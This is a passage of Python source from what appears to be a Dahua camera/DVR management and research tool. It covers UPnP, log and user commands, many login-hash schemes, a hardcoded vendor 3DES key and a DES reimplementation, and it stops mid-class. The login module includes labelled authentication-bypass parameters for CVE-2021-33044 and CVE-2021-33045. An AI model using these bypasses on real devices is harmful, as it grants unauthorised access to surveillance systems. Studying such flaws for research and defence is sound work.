                "method": "netApp.getUPnPStatus",
                "params": None,
                "object": object_id,
            }
            self.send_call(query_args, multicall=True)

            query_args = {
                "method": "configManager.getConfig",
                "params": {
                    "name": "UPnP",
                },
            }
            dh_data = self.send_call(query_args, multicall=True, multicallsend=True)

            if not dh_data.get('netApp.getUPnPStatus').get('result') or not dh_data.get('UPnP').get('result'):
                log.failure('UPnP service not supported')
                return False

            if len(cmd) == 3 and cmd[2] == 'status':

                upnp_status = dh_data.get('netApp.getUPnPStatus').get('params')
                upnp_table = dh_data.get('UPnP').get('params').get('table')
                upnp_map = ''

                for MapTable in range(0, len(upnp_table.get('MapTable'))):
                    upnp_map += "Enable: {} Internal Port: {:<6} External Port: {:<6} " \
                                "Protocol: {}:{} ServiceName: {:<4} Status: {}\n".format(
                                    upnp_table.get('MapTable')[MapTable].get('Enable'),
                                    upnp_table.get('MapTable')[MapTable].get('InnerPort'),
                                    upnp_table.get('MapTable')[MapTable].get('OuterPort'),
                                    upnp_table.get('MapTable')[MapTable].get('Protocol'),
                                    upnp_table.get('MapTable')[MapTable].get('ServiceType'),
                                    upnp_table.get('MapTable')[MapTable].get('ServiceName'),
                                    color(
                                        upnp_status.get('PortMapStatus')[MapTable],
                                        GREEN if upnp_status.get('PortMapStatus')[MapTable] == 'Failed' else RED
                                    ))

                log.success(
                    "\033[92m[\033[91mUPnP\033[92m]\033[0m\n"
                    "Enable: {}, Mode: {}, Device Discover: {}\n"
                    "Status: {}, Working: {}, Internal IP: {}, external IP: {}\n"
                    "\033[92m[\033[91mMaps\033[92m]\033[0m\n{}".format(
                        color(upnp_table.get('Enable'), RED if upnp_table.get('Enable') else GREEN),
                        upnp_table.get('Mode'),
                        upnp_table.get('StartDeviceDiscover'),
                        color(upnp_status.get('Status'), RED if upnp_status.get('Working') else GREEN),
                        color(upnp_status.get('Working'), RED if upnp_status.get('Working') else GREEN),
                        upnp_status.get('InnerAddress'),
                        upnp_status.get('OuterAddress'),
                        upnp_map,
                    ))

            elif len(cmd) >= 3 and cmd[2] == 'disable' or cmd[2] == 'enable':

                query_args = {
                    "method": "configManager.getConfig",
                    "params": {
                        "name": "UPnP",
                    },
                }
                dh_data = self.send_call(query_args)

                upnp_config = dh_data.get('params').get('table')

                if not upnp_config.get('Enable') and cmd[2] == 'disable'\
                        or upnp_config.get('Enable') and cmd[2] == 'enable':
                    log.failure("UPnP already {}".format('disabled' if cmd[2] == 'disable' else 'enabled'))
                    return False

                upnp_config['Enable'] = False if cmd[2] == 'disable' else True

                if len(cmd) == 4 and cmd[3] == 'all':
                    for dh_map in range(0, len(upnp_config.get('MapTable'))):
                        upnp_config['MapTable'][dh_map]['Enable'] = False if cmd[2] == 'disable' else True

                query_args = {
                    "method": "configManager.setConfig",
                    "params": {
                        "name": "UPnP",
                        "table": upnp_config,
                    },
                }
                dh_data = self.send_call(query_args)

                if dh_data.get('result'):
                    log.success("UPnP {}".format('disabled' if cmd[2] == 'disable' else 'enabled'))
                else:
                    log.failure("UPnP NOT {}".format('disabled' if cmd[2] == 'disable' else 'enabled'))

            else:
                log.failure("{} {} {}".format(cmd[0], cmd[1], usage.get(cmd[1], '(No help defined)')))
                return False

        else:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))

        self.instance_service(method_name, stop=True)

        return

    def dlog(self, msg):

        cmd = msg.split()

        method_name = 'log'

        self.instance_service(method_name, start=True)
        object_id = self.instance_service(method_name, pull='object')
        if not object_id:
            return False

        dlog_count = 20

        if len(cmd) == 2:
            try:
                dlog_count = int(cmd[1])
            except ValueError:
                log.failure('({}) not valid number'.format(cmd[1]))
                return False

        query_args = {
            "method": "global.getCurrentTime",
            "params": None,
        }

        dh_data = self.send_call(query_args)
        if not dh_data.get('result'):
            log.failure('{} Failed'.format(query_args.get('method')))
            return False

        query_args = {
            "method": "log.startFind",
            "params": {
                "condition": {
                    "StartTime": "1970-01-01 00:00:00",  # Lets start from the beginning ,)
                    "EndTime": dh_data.get('params').get('time'),
                    "Translate": True,
                    "Order": "Descent",  # ok
                    "Types": "",
                },
            },
            "object": object_id,
        }
        dh_data = self.send_call(query_args)
        if not dh_data.get('result'):
            log.failure('{} Failed'.format(query_args.get('method')))
            return False

        dlog_token = dh_data.get('params').get('token')

        query_args = {
            "method": "log.getCount",
            "params": {
                "token": dlog_token,
            },
            "object": object_id,
        }
        dh_data = self.send_call(query_args)
        if not dh_data or not dh_data.get('result'):
            log.failure('{} Failed'.format(query_args.get('method')))
            return False

        query_args = {
            "method": "log.doSeekFind",
            "params": {
                "token": dlog_token,
                "offset": 0,
                "count": dlog_count,
            },
            "object": object_id,
        }
        dh_data = self.send_call(query_args)
        if not dh_data.get('result'):
            log.failure('{} Failed'.format(query_args.get('method')))
            return False

        dlogs = dh_data.get('params').get('items')
        found = dh_data.get('params').get('found')

        log.info('Found: {}'.format(found))

        for dlog in dlogs:
            print('{}Detail: {}\nUser: {}, Device: {}, Type: {}, Level: {}'.format(
                help_msg(dlog.get('Time')),
                dlog.get('Detail'),
                dlog.get('User'),
                dlog.get('Device'),
                dlog.get('Type'),
                dlog.get('Level'),
            ))

        query_args = {
            "method": "log.stopFind",
            "params": {
                "token": dlog_token,
            },
            "object": object_id,
        }
        dh_data = self.send_call(query_args)
        if not dh_data.get('result'):
            log.failure('{} Failed'.format(query_args.get('method')))

        self.instance_service(method_name, stop=True)

        return

    def dh_test(self, msg):
        return

    def user_manager(self, msg):
        """User management: only list users and show capabilities"""
        cmd = msg.split()

        usage = {
            "list": "(list all users)",
            "caps": "(get user management capabilities)",
        }

        if len(cmd) == 1 or cmd[1] == '-h':
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return True

        if cmd[1] == "list":
            query_args = {
                "method": "userManager.getUserInfoAll",
                "params": {}
            }
        elif cmd[1] == "caps":
            query_args = {
                "method": "userManager.getCaps",
                "params": {}
            }
        else:
            log.info('{}'.format(help_all(msg=msg, usage=usage)))
            return False

        dh_data = self.send_call(query_args, errorcodes=True)
        if not dh_data:
            log.failure("Failed to execute user management command")
            return False

        if dh_data.get('result'):
            print(json.dumps(dh_data, indent=4))
            return True
        else:
            log.failure(f"Command '{cmd[1]}' failed: {dh_data.get('error', 'Unknown error')}")
            return False


================================================
FILE: dahua_logon_modes.py
================================================
from utils import *
from datetime import datetime

""" For Dahua DES/3DES """
ENCRYPT = 0x00
DECRYPT = 0x01


def dahua_logon(logon=None, query_args=None, username=None, password=None, saved_host=None, init=False):
    """
    Dahua logon types

    args: logon: '3des',
    args: username -or- password, des_mode=ENCRYPT (default) | DECRYPT

    args: logon: 'dvrip',
    args: username, password, dh_random (option: saved_host)

    required: init=True, username (return required arguments for first logon with DHIP/HTTP)
    args: logon:

    """

    """ DVRIP/DES start """
    if logon == '3des':
        params = {
            "username": dahua_gen0_hash(username, ENCRYPT),
            "password": dahua_gen0_hash(password, ENCRYPT)
        }
        return params

    elif logon == 'dvrip':
        dh_realm = query_args.get('realm')
        dh_random = query_args.get('random')

        dvrip_hash = username + '&&'
        dvrip_hash += dahua_gen2_md5_hash(
            dh_random=dh_random, dh_realm=dh_realm, username=username, password=password, saved_host=saved_host)
        # OldDigestMD5 ??
        dvrip_hash += dahua_dvrip_md5_hash(
            dh_random, username, password, saved_host)
        params = {
            "hash": dvrip_hash
        }
        return params
    """ DVRIP/DES end """

    """ DHIP/http/https: First login start """
    params = {
        "userName": username,
        "password": "",
        "clientType": "Web3.0",
        "loginType": "Direct",
    }

    if logon == 'wsse':
        params.update({"clientType": "WSSE"})

    elif logon == 'onvif:plain' or logon == 'onvif:digest' or logon == 'onvif:onvif':
        params.update({"clientType": "Onvif"})
        params.update({"loginType": "Onvif"})

    if init:
        """ Retrieve necessary options for Second login """
        return params
    """ DHIP/http/https: First login end """

    """ DHIP/http/https: Second login start """
    password_type = {
        "Plain": "Plain",
        "Basic": "Basic",
        "OldDigest": "OldDigest",
        "Default": "Default",
        "Onvif": "Onvif",
        "2DCode": "2DCode"  # params.code
    }

    authority_type = {
        "Plain": "Plain",
        "Basic": "Basic",
        "OldDigest": "OldDigest",
        "Default": "Default",
        "Onvif": "Onvif",
        "2DCode": "2DCode",  # params.code
        "Ushield": "Ushield"
    }

    query_args = query_args.get('params')

    dh_random = query_args.get('random')
    dh_realm = query_args.get('realm')
    encryption = query_args.get('encryption')
    """ authorization: Not known usage, unique for each device but not random """
    # authorization = query_args.get('authorization')
    # mac_address = query_args.get('mac')

    """ DHIP/http/https: Second login, set default params """
    params = {
        # "random": dh_random,  # With 'clientType' = 'Local'
        # "realm": dh_realm,  # With 'clientType' = 'Local'
        "userName": username,
        "ipAddr": "127.0.0.1",
        "loginType": "Direct",
        "clientType": "Console",
        "authorityType": authority_type.get(encryption),  # Default, OldDigest
        "passwordType": password_type.get(encryption),  # Default, Plain

    }
    """ No idea what it is used for """
    # params.update({"stochasticId": 31337})

    """ DHIP/http/https: Second login, update default params with correct details """
    if logon == 'plain' or encryption == 'Plain':
        params.update({
            "passwordType": "Plain",
            "password": password
        })

    elif logon == 'basic' or encryption == 'Basic':
        params.update({
            # "passwordType": "Basic",
            "password": b64e(username.encode('latin-1') + b':' + password.encode('latin-1'))
        })

    elif logon == 'old_digest' or encryption == 'OldDigest':
        params.update({
            "passwordType": "OldDigest",
            "password": dahua_gen1_hash(password)
        })

    elif logon == 'default' or encryption == 'Default':
        dh_hash = dahua_gen2_md5_hash(
            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
            saved_host=saved_host)

        params.update({
            "passwordType": "Default",
            "password": dh_hash
        })

    """ If we have chosen one of these logon, return """
    if logon in ['plain', 'basic', 'old_digest', 'old_digest_md5', 'default']:
        return params

    """ Otherwise check and update for other logon types """
    # Authentication bypass start
    if logon == "netkeyboard":
        """ 'CVE-2021-33044, Authentication bypass,
        when setting param: 'clientType": "NetKeyboard' """
        params.update({
            "clientType": "NetKeyboard"
        })
        return params

    elif logon == "loopback":
        """ loginType=5, @127.0.0.1 """
        """
        'CVE-2021-33045, Authentication bypass,
        when setting params: 'ipAddr':'127.0.0.1', 'loginType': 'Loopback' and 'clientType': 'Local'
        Note: Bypass fixed with newer firmware from beginning/mid 2020
        
        Legit usage: SNMP daemon traffic on 127.0.0.1 using port 5000 with l/p admin/admin
        """

        dh_hash = dahua_gen2_md5_hash(
            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
            saved_host=saved_host)

        params.update({
            "loginType": "Loopback",
            "clientType": "Local",
            "passwordType": "Default",      # Plain working too
            "password": dh_hash     # Clear text password working too with 'passwordType': 'Plain'
        })

        return params
    # Authentication bypass end

    elif logon == "gui":
        """ TEST """
        # username = 'default'
        # password = 'tluafed'

        dh_hash = dahua_gen2_md5_hash(
            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
            saved_host=saved_host)

        params.update({
            "loginType": "GUI",
            "clientType": "Dahua3.0-Web3.0-NOTIE",
            "passwordType": "Direct",
            "ipAddr": "127.0.0.1",
            "password": dh_hash
        })

        return params

    elif logon == 'onvif:plain':
        params.update({
            "loginType": "Onvif",
            "clientType": "Onvif",
            "authorityType": "Onvif",
            "passwordType": "Plain",
            "password": password,
        })
        return params

    elif logon == 'onvif:onvif':

        params.update({
            "loginType": "Onvif",
            "clientType": "Onvif",
            "authorityType": "Onvif",
            "passwordType": "Onvif",
        })

        dh_params = dahua_onvif_sha1_hash(dh_random=dh_random, password=password, saved_host=saved_host)

        params.update(dh_params)
        return params

    elif logon == 'onvif:digest':
        """ Always use UTC for 'created' """
        created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
        """ Newer firmware has another REALM, can be retrieved from HTTP OPTIONS/RTSP call, see dahua_dhip_login() """
        dh_hash = dahua_digest_md5_hash(
            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
            saved_host=saved_host, created=created)

        params.update({
            "loginType": "Onvif",
            "clientType": "Onvif",
            "authorityType": "Onvif",
            "passwordType": "HttpDigest",
            "authorityInfo": created,
            "password": dh_hash
        })
        return params

    elif logon == 'rtsp':
        """ Always use UTC for created """
        created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
        dh_hash = dahua_digest_md5_hash(
            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
            saved_host=saved_host, created=created)

        params.update({
            "clientType": "RtspClient",
            "authorityType": "HttpDigest",
            # Not needed in new FW, but the passwordType is there w/ "authorityType": "OldDigest"
            "passwordType": "HttpDigest",
            "password": dh_hash,
            "authorityInfo": created
        })
        return params

    elif logon == 'wsse':
        """
        Cloud Upgrade WSSE logon
        Note:
            Can _only_ be used once per boot
            Correct time and time zone on device very important so it will match 'created'
        """

        """ Always use UTC for created """
        created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
        dh_hash = dahua_gen2_md5_hash(
            username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
            saved_host=saved_host, return_hash=True)

        hash_digest = hashlib.sha1()
        hash_digest.update(created.encode('ascii'))
        hash_digest.update(dh_hash.encode('ascii'))

        params.update({
            "clientType": "WSSE",
            "authorityType": "OTP",
            "passwordType": "WSSE",
            "password": b64e(hash_digest.digest()),
            "authorityInfo": created
        })
        return params

    elif logon == 'ldap':
        """ loginType=3, Unknown login procedure """
        params.update({
            "loginType": "LDAP"
        })
        return params

    elif logon == 'ad':
        """ loginType=4, Unknown login procedure """
        params.update({
            "loginType": "ActiveDirectory"
        })
        return params

    elif logon == 'cms':
        """ loginType=1, Unknown login procedure """
        params.update({
            "loginType": "CMS",
        })
        return params

    elif logon == 'ushield':
        """ Unknown login procedure """
        params.update({
            "authorityType": "Ushield",
            "authorityInfo": "XXXXXXX"
            # "passwordType": "Ushield",
            # "clientType": "Ushield",
            # "loginType": "Ushield",
        })
        return params

    elif logon == 'local':
        """ Unknown login procedure """
        params.update({
            "clientType": "Local",
            "loginType": "Local",
            # "authorityType": "Local",
            # "passwordType": "Local"
        })
        return params

    elif logon == 'maybe_iot_or_azure':
        """ Unknown login procedure """
        params.update({
            "deviceId": "Unknown",  # Required for 'dasToken'
            "dasToken": "Unknown"  # depending of 'deviceId'
        })
        return params

    else:
        log.failure('Unknown logon method')
        return None


def _compressor(in_var, out):
    """ From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py """
    i = 0
    j = 0

    while i < len(in_var):
        # python 2.x (thanks to @davidak501)
        # out[j] = (ord(in_var[i]) + ord(in_var[i+1])) % 62;
        # python 3.x
        out[j] = (in_var[i] + in_var[i + 1]) % 62
        if out[j] < 10:
            out[j] += 48
        elif out[j] < 36:
            out[j] += 55
        else:
            out[j] += 61

        i = i + 2
        j = j + 1


def dahua_gen1_hash(password):
    """ From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py """
    m = hashlib.md5()
    m.update(password.encode("latin-1"))

    s = m.digest()
    crypt = []
    for b in s:
        crypt.append(b)

    out2 = [''] * 8
    _compressor(crypt, out2)
    dh_data = ''.join([chr(c) for c in out2])

    return dh_data


def basic_auth(username, password):

    return b64e(username.encode('latin-1') + b':' + password.encode('latin-1'))


def dahua_dvrip_md5_hash(dh_random=None, username=None, password=None, saved_host=None):
    """ Dahua (gen1) DVRIP random MD5 password hash """

    return hashlib.md5(
        (username + ':' + dh_random + ':' + saved_host.get('password').get('gen1') if password is None else
         dahua_gen1_hash(password)).encode('latin-1')
    ).hexdigest().upper()


def dahua_gen2_md5_hash(
        dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, return_hash=False):
    """ Dahua (gen2) DHIP/WEB random MD5 password hash """

    dh_hash = saved_host.get('password').get('gen2') if password is None else hashlib.md5(
        (username + ':' + dh_realm + ':' + password).encode('latin-1')
    ).hexdigest().upper()

    if return_hash:
        return dh_hash

    return hashlib.md5(
        (username + ':' + dh_random + ':' + dh_hash).encode('latin-1')
    ).hexdigest().upper()


def dahua_digest_md5_hash(dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, created=None):
    """ Dahua (digest) DHIP/WEB random MD5 password hash """

    dh_hash = saved_host.get('password').get('gen2').lower() if saved_host else hashlib.md5(
        (username + ':' + dh_realm + ':' + password).encode('latin-1')
    ).hexdigest()
    return hashlib.md5(
        (dh_hash + ':' + dh_random + ':' + created).encode('ascii')
    ).hexdigest()


def dahua_onvif_sha1_hash(dh_random=None, password=None, device_random=False, saved_host=None):
    """ Dahua (onvif) DHIP/WEB random SHA1 password hash """

    if password is None and saved_host is not None:
        dh_params = saved_host.get('password').get('onvif', None)
        return dh_params

    authority_info = os.urandom(20)

    if device_random:
        # Use original 'dh_random' from device
        dh_random = dh_random.encode('ascii')
    else:
        # Or, we can set random to what we want
        dh_random = os.urandom(20)

    hash_digest = hashlib.sha1()
    hash_digest.update((dh_random + authority_info + password.encode('ascii')))

    return {
        "authorityInfo": b64e(authority_info),
        "password": b64e(hash_digest.digest()),
        "random": b64e(dh_random)
    }


def dahua_gen0_hash(dh_data, des_mode):
    """The DES/3DES code in the bottom of this script."""

    # "secret" key for Dahua Technology
    key = b'poiuytrewq'  # 3DES

    if len(dh_data) > 8:  # Max 8 bytes!
        log.failure(f"'{dh_data}' is more than 8 bytes, this will most probably fail")
    dh_data = dh_data[0:8]
    data_len = len(dh_data)

    key_len = len(key)

    """ padding key with 0x00 if needed """
    if key_len <= 8:
        if not (key_len % 8) == 0:
            # key += p8(0x0) * (8 - (key_len % 8))  # DES (8 bytes)
            key += b'\x00' * (8 - (key_len % 8))  # DES (8 bytes)
    elif key_len <= 16:
        if not (key_len % 16) == 0:
            # key += p8(0x0) * (16 - (key_len % 16))  # 3DES DES-EDE2 (16 bytes)
            key += b'\x00' * (16 - (key_len % 16))  # 3DES DES-EDE2 (16 bytes)
    elif key_len <= 24:
        if not (key_len % 24) == 0:
            # key += p8(0x0) * (24 - (key_len % 24))  # 3DES DES-EDE3 (24 bytes)
            key += b'\x00' * (24 - (key_len % 24))  # 3DES DES-EDE3 (24 bytes)

    """ padding key with 0x00 if needed """
    if not (data_len % 8) == 0:
        # dh_data += p8(0x0).decode('latin-1') * (8 - (data_len % 8))
        dh_data += '\x00' * (8 - (data_len % 8))

    if key_len == 8:
        k = Des(key)
    else:
        k = TripleDes(key)

    if des_mode == ENCRYPT:
        dh_data = k.encrypt(dh_data.encode('latin-1'))
    else:
        dh_data = k.decrypt(dh_data)
        dh_data = dh_data.decode('latin-1').strip('\x00')  # Strip all 0x00 padding

    return dh_data


"""
[WARNING!] Do NOT reuse below code for legit DES/3DES! [WARNING!]
This code has been cleaned and modified so it will fit my needs to
replicate Dahua's implementation of DES/3DES with endianness bugs.

[This code is based based on]
A pure python implementation of the DES and TRIPLE DES encryption algorithms.
Author:   Todd Whitman's
Homepage: http://twhiteman.netfirms.com/des.html
"""


class _BaseDes(object):
    """ The base class shared by des and triple des """

    def __init__(self):
        self.block_size = 8
        self.__key = None

    def get_key(self):
        """get_key() -> bytes"""
        return self.__key

    def set_key(self, key):
        """Will set the crypting key for this object."""
        self.__key = key


class Des(_BaseDes):
    """ DES """

    """ Permutation and translation tables for DES """
    __pc1 = [
        56, 48, 40, 32, 24, 16,  8,
        0, 57, 49, 41, 33, 25, 17,
        9,  1, 58, 50, 42, 34, 26,
        18, 10,  2, 59, 51, 43, 35,
        62, 54, 46, 38, 30, 22, 14,
        6, 61, 53, 45, 37, 29, 21,
        13,  5, 60, 52, 44, 36, 28,
        20, 12,  4, 27, 19, 11,  3
    ]

    """ number left rotations of pc1 """
    __left_rotations = [
        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
    ]

    """ permuted choice key (table 2) """
    __pc2 = [
        13, 16, 10, 23,  0,  4,
        2, 27, 14,  5, 20,  9,
        22, 18, 11,  3, 25,  7,
        15,  6, 26, 19, 12,  1,
        40, 51, 30, 36, 46, 54,
        29, 39, 50, 44, 32, 47,
        43, 48, 38, 55, 33, 52,
        45, 41, 49, 35, 28, 31
    ]

    # initial permutation IP
    __ip = [
        57, 49, 41, 33, 25, 17, 9,  1,
        59, 51, 43, 35, 27, 19, 11, 3,
        61, 53, 45, 37, 29, 21, 13, 5,
        63, 55, 47, 39, 31, 23, 15, 7,
        56, 48, 40, 32, 24, 16, 8,  0,
        58, 50, 42, 34, 26, 18, 10, 2,
        60, 52, 44, 36, 28, 20, 12, 4,
        62, 54, 46, 38, 30, 22, 14, 6
    ]

    # Expansion table for turning 32 bit blocks into 48 bits
    __expansion_table = [
        31,  0,  1,  2,  3,  4,
        3,  4,  5,  6,  7,  8,
        7,  8,  9, 10, 11, 12,
        11, 12, 13, 14, 15, 16,
        15, 16, 17, 18, 19, 20,
        19, 20, 21, 22, 23, 24,
        23, 24, 25, 26, 27, 28,
        27, 28, 29, 30, 31,  0
    ]

    # The (in)famous S-boxes
    __sbox = [
        # S1
        [
            14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
            0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
            4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
            15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13
        ],

        # S2
        [
            15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
            3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
            0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
            13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9
        ],

        # S3
        [
            10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
            13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
            13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
            1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12
        ],

        # S4
        [
            7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
            13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
            10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
            3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14
        ],

        # S5
        [
            2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
            14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
            4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
            11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3
        ],

        # S6
        [
            12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
            10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
            9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
            4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13
        ],

        # S7
        [
            4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
            13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
            1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
            6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12
        ],

        # S8
        [
            13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
            1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
            7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
            2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11
        ],
    ]

    """ 32-bit permutation function P used on the output of the S-boxes """
    __p = [
        15, 6, 19, 20, 28, 11,
        27, 16, 0, 14, 22, 25,
        4, 17, 30, 9, 1, 7,
        23, 13, 31, 26, 2, 8,
        18, 12, 29, 5, 21, 10,
        3, 24
    ]

    """ final permutation IP^-1 """
    __fp = [
        39,  7, 47, 15, 55, 23, 63, 31,
        38,  6, 46, 14, 54, 22, 62, 30,
        37,  5, 45, 13, 53, 21, 61, 29,
        36,  4, 44, 12, 52, 20, 60, 28,
        35,  3, 43, 11, 51, 19, 59, 27,
        34,  2, 42, 10, 50, 18, 58, 26,
        33,  1, 41,  9, 49, 17, 57, 25,
        32,  0, 40,  8, 48, 16, 56, 24
    ]

    """ Initialisation """
    def __init__(self, key):
        _BaseDes.__init__(self)
        self.key_size = 8
        self.L = []
        self.R = []
        self.Kn = [[0] * 48] * 16  # 16 48-bit keys (K1 - K16)
        self.final = []

        self.set_key(key)

    def set_key(self, key):
        """Will set the crypto key for this object. Must be 8 bytes."""
        _BaseDes.set_key(self, key)
        self.__create_sub_keys()

    @staticmethod
    def __string_to_bitlist(dh_data):
        """Turn the string data, into a list of bits (1, 0)'s"""
        return bits(dh_data, endian='little')  # Dahua endianness bug

    @staticmethod
    def __bitlist_to_string(dh_data):
        """Turn the list of bits -> data, into a string"""
        return bytes(list(unbits(dh_data, endian='little')))  # Dahua endianness bug

    @staticmethod
    def __permutate(table, block):
        """Permutate this block with the specified table"""
        return list(map(lambda x: block[x], table))

    """
    Transform the secret key, so that it is ready for data processing
    Create the 16 subkeys, K[1] - K[16]
    """
    def __create_sub_keys(self):
        """Create the 16 subkeys K[1] to K[16] from the given key"""
        key = self.__permutate(Des.__pc1, self.__string_to_bitlist(self.get_key()))
        i = 0
        # Split into Left and Right sections
        self.L = key[:28]
        self.R = key[28:]

        while i < 16:
            j = 0
            # Perform circular left shifts
            while j < Des.__left_rotations[i]:
                self.L.append(self.L[0])
                del self.L[0]

                self.R.append(self.R[0])
                del self.R[0]
                j += 1
            # Create one of the 16 subkeys through pc2 permutation
            self.Kn[i] = self.__permutate(Des.__pc2, self.L + self.R)
            i += 1

    # Main part of the encryption algorithm, the number cruncher :)
    def __des_crypt(self, block, crypt_type):
        """Crypt the block of data through DES bit-manipulation"""
        block = self.__permutate(Des.__ip, block)

        self.L = block[:32]
        self.R = block[32:]

        # Encryption starts from Kn[1] through to Kn[16]
        if crypt_type == ENCRYPT:
            iteration = 0
            iteration_adjustment = 1
        # Decryption starts from Kn[16] down to Kn[1]
        else:
            iteration = 15
            iteration_adjustment = -1

        i = 0
        while i < 16:
            # Make a copy of R[i-1], this will later become L[i]
            if crypt_type == ENCRYPT:
                temp_r = self.R[:]
            else:
                temp_r = self.L[:]

            # Permutate R[i - 1] to start creating R[i]
            if crypt_type == ENCRYPT:
                self.R = self.__permutate(Des.__expansion_table, self.R)
            else:
                self.L = self.__permutate(Des.__expansion_table, self.L)

            # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
            if crypt_type == ENCRYPT:
                self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
                _b = [
                    self.R[:6],
                    self.R[6:12],
                    self.R[12:18],
                    self.R[18:24],
                    self.R[24:30],
                    self.R[30:36],
                    self.R[36:42],
                    self.R[42:]
                ]
            else:
                self.L = list(map(lambda x, y: x ^ y, self.L, self.Kn[iteration]))
                _b = [
                    self.L[:6],
                    self.L[6:12],
                    self.L[12:18],
                    self.L[18:24],
                    self.L[24:30],
                    self.L[30:36],
                    self.L[36:42],
                    self.L[42:]
                ]

            # Permutate _b[1] to _b[8] using the S-Boxes
            j = 0
            _bn = []
            while j < 8:

                # Work out the offsets
                m = (_b[j][0] << 1) + _b[j][5]
                n = (_b[j][1] << 3) + (_b[j][2] << 2) + (_b[j][3] << 1) + _b[j][4]

                # Find the permutation value
                v = Des.__sbox[j][(m << 4) + n]

                # Turn value into bits, add it to result: _bn
                for tmp in list(map(lambda x: x, bits(v, endian='little')[:4])):  # Dahua endianness bug
                    _bn.append(tmp)

                j += 1

            # Permutate the concatination of _b[1] to _b[8] (_bn)
            if crypt_type == ENCRYPT:
                self.R = self.__permutate(Des.__p, _bn)
            else:
                self.L = self.__permutate(Des.__p, _bn)

            # Xor with L[i - 1]
            if crypt_type == ENCRYPT:
                self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
            else:
                self.L = list(map(lambda x, y: x ^ y, self.R, self.L))

            # L[i] becomes R[i - 1]
            if crypt_type == ENCRYPT:
                self.L = temp_r
            else:
                self.R = temp_r

            i += 1
            iteration += iteration_adjustment

        # Final permutation of R[16]L[16]
        if crypt_type == ENCRYPT:
            self.final = self.__permutate(Des.__fp, self.L + self.R)
        else:
            self.final = self.__permutate(Des.__fp, self.L + self.R)
        return self.final

    def crypt(self, dh_data, crypt_type):
        """Crypt the data in blocks, running it through des_crypt()"""

        # Error check the data
        if not dh_data:
            return ''

        # Split the data into blocks, crypting each one separately
        i = 0
        # dict = {}
        result = []

        while i < len(dh_data):

            block = self.__string_to_bitlist(dh_data[i:i + 8])
            processed_block = self.__des_crypt(block, crypt_type)

            # Add the resulting crypted block to our list
            result.append(self.__bitlist_to_string(processed_block))
            i += 8

        # Return the full crypted string
        return bytes.fromhex('').join(result)

    def encrypt(self, dh_data):

        return self.crypt(dh_data, ENCRYPT)

    def decrypt(self, dh_data):

        return self.crypt(dh_data, DECRYPT)


class TripleDes(_BaseDes):
    """Triple DES"""

    def __init__(self, key):
        _BaseDes.__init__(self)
        self.key_size = None
        self.__key1 = None
        self.__key2 = None
        self.__key3 = None

        self.set_key(key)

    def set_key(self, key):
